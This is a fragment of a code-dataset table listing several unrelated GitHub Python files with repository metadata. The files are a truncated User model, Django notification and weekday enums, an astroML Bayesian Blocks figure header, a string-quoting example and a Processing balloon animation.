] | null | null | null | app/models/auth/User.py | nucleo-de-telessaude-do-maranhao/abtms | 8d1b1df223d9f07fc4447836011f3e3678625d59 | [
"MIT"
] | null | null | null | app/models/auth/User.py | nucleo-de-telessaude-do-maranhao/abtms | 8d1b1df223d9f07fc4447836011f3e3678625d59 | [
"MIT"
] | 1 | 2019-03-13T14:34:24.000Z | 2019-03-13T14:34:24.000Z | from app.models.auth.DatabaseFactory import DatabaseFactory
class User():
def __init__(self, code=0, name="", email="", password="", cpf="", phone=""):
self.code = code
self.name = name
self.email = email
self.password = password
self.cpf = cpf
self.phone = phone
self.connection = Databas... | 27.619048 | 141 | 0.600431 |
47f412aa53b1026ce2c0cee44b3e8502ed6fa045 | 1,429 | py | Python | src/src/enums.py | oguzhanakan0/covidlab-server | 68ea4e6cd3b1244117ae43275335896b911a9b2a | [
"MIT"
] | null | null | null | src/src/enums.py | oguzhanakan0/covidlab-server | 68ea4e6cd3b1244117ae43275335896b911a9b2a | [
"MIT"
] | 1 | 2022-03-25T05:33:19.000Z | 2022-03-25T05:33:19.000Z | src/src/enums.py | oguzhanakan0/covidlab-server | 68ea4e6cd3b1244117ae43275335896b911a9b2a | [
"MIT"
] | null | null | null | from django.db import models
class NotifType(models.IntegerChoices):
campaign = 1
entry = 2
other = 3
class Day(models.IntegerChoices):
monday = 1
tuesday = 2
wednesday = 3
thursday = 4
friday = 5
saturday = 6
sunday... | 23.42623 | 42 | 0.457663 |
efe2ecb082337460b2b2752a1dcb4b64935a3843 | 2,281 | py | Python | aMLpy/fig_bayes_blocks.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | 15 | 2019-07-31T07:18:49.000Z | 2021-06-03T23:41:59.000Z | aMLpy/fig_bayes_blocks.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | null | null | null | aMLpy/fig_bayes_blocks.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | 6 | 2019-08-01T19:33:16.000Z | 2020-08-27T13:01:15.000Z | """
Distribution Representation Comparison
--------------------------------------
This figure compares the representations of distributions from two
methods: a fixed-width histogram with Knuth's method, and a variable-width
histogram using Bayesian Blocks.
"""
# Author: Jake VanderPlas <vanderplas@astro.washington.edu>... | 31.680556 | 74 | 0.57431 |
ef2a5bce020ad1582c50e3b0844616b8d0c76328 | 48 | py | Python | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.2-how-print-where-in-single-cotation.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.2-how-print-where-in-single-cotation.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.2-how-print-where-in-single-cotation.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | s = "Dimik's"
print(s)
s = 'Dimik\'s'
print(s)
| 8 | 14 | 0.541667 |
721a6090a5832c17d01bfb30d134c7218fa0d48c | 325 | pyde | Python | sketches/balloon/balloon.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/balloon/balloon.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/balloon/balloon.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | speed = 1.5
def setup():
global balloon, x, y
size(400, 200)
balloon = loadImage("1f388.png")
x = random(0, width-72)
y = height
def draw():
global balloon, x, y
background(51)
image(balloon, x, y)
y -= speed
if (y < -72):
y = height
x = random(0, width-72)
... | 17.105263 | 36 | 0.513846 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.